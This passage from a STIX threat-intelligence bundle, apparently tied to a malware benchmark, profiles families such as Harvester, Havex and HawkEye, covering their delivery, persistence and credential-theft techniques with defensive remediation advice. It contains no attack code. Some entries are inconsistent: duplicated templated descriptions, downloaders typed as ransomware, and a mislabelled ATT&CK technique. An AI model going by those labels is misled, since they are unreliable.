      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haperlock exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35690f38-895c-5640-aa7b-04e01924f204",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da90469e-fc15-5e6a-99d5-2f5f8d798aa5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haperlock exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3499fdc-9b65-531e-9572-29b391edb1a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da90469e-fc15-5e6a-99d5-2f5f8d798aa5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haperlock exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f922805-e1d6-5db8-8893-ae95b0f07813",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Happy",
      "description": "Trojan:Win32/Happy is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Happy</b><br>To an end-user, a Happy infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Happy is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Happy is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Happy frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Happy reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Happy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/happy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c474181-4bd8-5d80-b24e-ea4eea9ade44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f922805-e1d6-5db8-8893-ae95b0f07813",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Happy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eac4792a-0180-56e2-995f-23eca4f0b627",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f922805-e1d6-5db8-8893-ae95b0f07813",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Happy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c723d8c-ac47-5ad1-b456-03cd5c680614",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f922805-e1d6-5db8-8893-ae95b0f07813",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Happy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc6f12a9-88bd-5eb1-8f70-32fa2ce13774",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f922805-e1d6-5db8-8893-ae95b0f07813",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Happy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df3b2ae1-5d18-5747-988e-3ce501deda4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f922805-e1d6-5db8-8893-ae95b0f07813",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Happy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3cdb3e60-4182-5e52-8a42-fbc5db684128",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Harnig",
      "description": "Trojan:Win32/Harnig is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Harnig</b><br>To an end-user, a Harnig infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Harnig is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Harnig is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Harnig frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Harnig reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Harnig",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/harnig"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d52887f1-ce86-52b7-93aa-ac2f21f2e0cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cdb3e60-4182-5e52-8a42-fbc5db684128",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harnig exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--438f1b1b-b4bb-51f5-9c3f-054f3482886d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cdb3e60-4182-5e52-8a42-fbc5db684128",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harnig exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c4ecb80-7417-53a0-85c4-aea7d89a4ae3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cdb3e60-4182-5e52-8a42-fbc5db684128",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harnig exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf06fe46-d060-5ff3-96f1-52a5ab8530c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cdb3e60-4182-5e52-8a42-fbc5db684128",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harnig exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2e71370-ab19-55b1-a190-7dab5a75858b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cdb3e60-4182-5e52-8a42-fbc5db684128",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harnig exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f7270b2-b81e-5edf-86ab-89608548fe1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Harvester",
      "description": "<h3>Executive Summary</h3>\nHarvester (often detected as Spyware.Harvester or Trojan.Harvester) is a highly specialized info-stealer malware engineered specifically to target, aggregate, and extract sensitive data from compromised Windows endpoints. Unlike generic droppers, Harvester's primary objective is immediate espionage: it actively scrapes the file system and intercepts communications to harvest user credentials, financial information, and valuable intellectual property.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHarvester is typically distributed via highly targeted spear-phishing campaigns containing weaponized attachments or delivered as a secondary payload by an initial access broker.\n\nOnce executed, the malware focuses entirely on data aggregation:\n<ul>\n<li><strong>Browser Profiling and Cookie Theft:</strong> Harvester aggressively targets nearly all modern web browsers (Chrome, Firefox, Edge). It extracts saved passwords, autofill data, credit card numbers, and critically, active session cookies (allowing attackers to bypass MFA).</li>\n<li><strong>File System Scraping:</strong> The malware often includes a module to recursively scan the local hard drive and attached network shares for files matching specific extensions (e.g., `.docx`, `.pdf`, `.kdbx` for password vaults) or containing specific keywords (e.g., \"password\", \"finance\").</li>\n<li><strong>Data Exfiltration:</strong> The stolen data is aggregated into hidden, encrypted ZIP archives on the local disk. It is then periodically transmitted back to the C2 server over standard web ports (HTTPS) or via FTP to evade deep packet inspection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Harvester infection is a critical security breach resulting in immediate and ongoing data loss. The exfiltrated credentials can be used to compromise the user's personal accounts, pivot laterally across the corporate network, or access sensitive cloud infrastructure without triggering brute-force alerts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Sever the affected machine's network connection immediately to halt any active or pending data exfiltration.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials typed or saved on the infected machine since the time of infection are fully compromised. Initiate an immediate, organization-wide password reset for the affected user, and invalidate all active session tokens.</li>\n<li><strong>Forensic Analysis:</strong> Conduct a forensic review of the endpoint to determine the initial vector of compromise and to ensure Harvester did not deploy secondary backdoors prior to detection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Harvester",
        "Spyware.Harvester",
        "PWS.Win32.Harvester"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Harvester",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/harvester"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22203179-d387-598b-8f63-8a3be69d92d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f7270b2-b81e-5edf-86ab-89608548fe1e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harvester exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--385cfd43-0035-5cd6-b098-e58c2e2bc0ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f7270b2-b81e-5edf-86ab-89608548fe1e",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harvester exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4593f676-39b9-5ddf-87b4-ac3e45175c98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f7270b2-b81e-5edf-86ab-89608548fe1e",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harvester exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21013faf-b7d3-5b85-a3fd-d9abc9b5d3f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f7270b2-b81e-5edf-86ab-89608548fe1e",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Harvester exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9bf90cde-e2d0-56eb-8223-74b7967a88c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hav_Rat",
      "description": "Hav-RAT (cataloged across antivirus software as Backdoor:Win32/HavRAT, Trojan.Win32.HavRAT, and Backdoor.HavRat) is a classic Delphi-authored Remote Access Trojan (RAT) first observed in the early-to-mid 2000s cybercrime ecosystem. Designed to furnish remote malicious operators with complete interactive administrative dominion over compromised Windows endpoints, Hav-RAT listens on custom TCP ports or initiates reverse connections to dynamic DNS C2 servers. The trojan incorporates extensive surveillance and control modules, including real-time desktop screen capture, keystroke logging, active process enumeration and termination, remote file upload and download, remote registry editing, and interactive command shell spawning. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/HavRAT",
        "Trojan.Win32.HavRAT",
        "Backdoor.HavRat",
        "Win32/HavRat.RAT",
        "Trojan.HavRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hav_Rat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hav_rat"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--509287b6-3f01-5e35-874f-ea32051c4a32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bf90cde-e2d0-56eb-8223-74b7967a88c5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hav_Rat exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17ea58c7-2ccf-5fe4-98a9-77ba367e30fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bf90cde-e2d0-56eb-8223-74b7967a88c5",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hav_Rat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9f771f8-6734-50b1-89c0-7b869905b2b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bf90cde-e2d0-56eb-8223-74b7967a88c5",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hav_Rat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dfb70aa-4c1d-5043-907a-3474ad8dd975",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bf90cde-e2d0-56eb-8223-74b7967a88c5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hav_Rat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4012e23-357b-5e3a-981c-ddf184e06a3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bf90cde-e2d0-56eb-8223-74b7967a88c5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hav_Rat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ee9fa0f-e5fd-5f5b-b87e-de9f5260784c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bf90cde-e2d0-56eb-8223-74b7967a88c5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hav_Rat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9e0786a2-67f0-5949-8af3-8a28a268e4aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Havex",
      "description": "Trojan:Win32/Havex is a highly specialized, sophisticated Remote Access Trojan (RAT) famously utilized by the 'Dragonfly' (or Energetic Bear) Advanced Persistent Threat (APT) group. Havex is critical because it was specifically engineered to target Industrial Control Systems (ICS) and SCADA networks, primarily focusing on espionage within the energy and aviation sectors.<br><br><b>Understanding Havex (ICS/SCADA APT)</b><br>To standard enterprise users, Havex might look like a typical RAT. However, to OT (Operational Technology) security engineers, Havex represents a catastrophic breach. It was designed not just to steal office documents, but to map the internal architecture of physical control systems, potentially paving the way for physical sabotage (similar to Stuxnet).<br><br><b>Execution and ICS Espionage Mechanics</b><br>Initial infection was often achieved through strategic 'Watering Hole' attacks (`T1189`)\u2014the attackers compromised legitimate websites of ICS software vendors and replaced legitimate SCADA software installers with trojanized versions (Supply Chain Compromise - `T1195.002`). Once deployed on an engineering workstation, Havex establishes persistence and communicates with its C2 server via HTTP (`T1071.001`). Crucially, Havex includes a specialized module designed to scan the local network for devices communicating via OPC (OLE for Process Control) (`T0836`), a standard protocol used in industrial automation. It harvests data from these OPC servers to build a map of the physical controllers (PLCs) running the facility.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is extreme espionage targeting critical national infrastructure. Host-based IoCs include the presence of known Havex DLLs (often masquerading as legitimate system files) and unexpected outbound HTTP traffic from highly restricted OT networks to known C2 domains. Network IoCs within the OT environment include anomalous, unauthorized OPC network scanning (`T0846`) originating from engineering workstations, attempting to enumerate connected industrial devices. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Havex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/havex"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a05190ff-54fb-5cb2-91b1-900e1a220eb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T0836: Modify Parameter (ICS specifically: OPC Network Scanning/Enumeration)",
      "description": "MITRE ATT&CK Technique T0836 (Modify Parameter (ICS specifically: OPC Network Scanning/Enumeration)) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T0836",
          "url": "https://attack.mitre.org/techniques/T0836/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60271a44-3514-53e8-80bb-156a780479e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e0786a2-67f0-5949-8af3-8a28a268e4aa",
      "target_ref": "attack-pattern--a05190ff-54fb-5cb2-91b1-900e1a220eb8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Havex exhibits technique T0836 (Modify Parameter (ICS specifically: OPC Network Scanning/Enumeration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5f21d8b-77c8-5684-8cb2-d22eaa203657",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e0786a2-67f0-5949-8af3-8a28a268e4aa",
      "target_ref": "attack-pattern--cd7b3cd0-ed1c-5044-9664-a8e44ddd5e6f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Havex exhibits technique T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain (Trojanized SCADA installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fae32887-f0b6-533f-96b9-2fa00a714336",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e0786a2-67f0-5949-8af3-8a28a268e4aa",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Havex exhibits technique T1189 (Drive-by Compromise (Watering hole attacks on vendor sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08dad06a-9081-5565-8ea9-d19bc03b3a7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e0786a2-67f0-5949-8af3-8a28a268e4aa",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Havex exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hawkeyekeylogger",
      "description": "HawkEye Keylogger (also tracked as HawkEye, HawkEye Reborn, and Spyware.HawkEye) is a commercial .NET surveillance toolkit and credential harvester sold on cybercrime forums since 2013. Marketed primarily to initial access brokers and business email compromise (BEC) operators, HawkEye is deployed via phishing emails bearing weaponized Microsoft Office documents, ISO image attachments, or archived executables. Once launched, HawkEye hooks Windows keyboard input APIs (such as SetWindowsHookEx) to log user keystrokes, capture clipboard data, and periodically screenshot active windows. It includes built-in extraction routines that harvest credentials from over 40 popular web browsers (Chrome, Edge, Firefox, Opera), email applications (Outlook, Thunderbird, Windows Live Mail), FTP clients (FileZilla, WinSCP), and gaming platforms. The malware exfiltrates stolen credentials and surveillance logs over encrypted SMTP, FTP, or directly to threat actor Telegram bot chats, allowing operators to rapidly hijack enterprise email accounts and execute fraudulent wire transfer schemes. (Observed samples in benchmark: 620)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HawkEye Keylogger",
        "HawkEye Reborn",
        "Trojan.HawkEye",
        "Spyware.HawkEye",
        "Win32/HawkEye"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hawkeyekeylogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hawkeyekeylogger"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53d4a87d-71b3-5994-a269-eef79b0bd5f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hawkeyekeylogger exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15eff61d-9457-5be1-9079-f5eebf133e61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hawkeyekeylogger exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bceed9e3-128d-5878-8939-cdb7376d3e27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcc509b5-0c35-5576-9861-c60e76108bae",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hawkeyekeylogger exhibits technique T1113 (Screen Capture)."
    },
    {
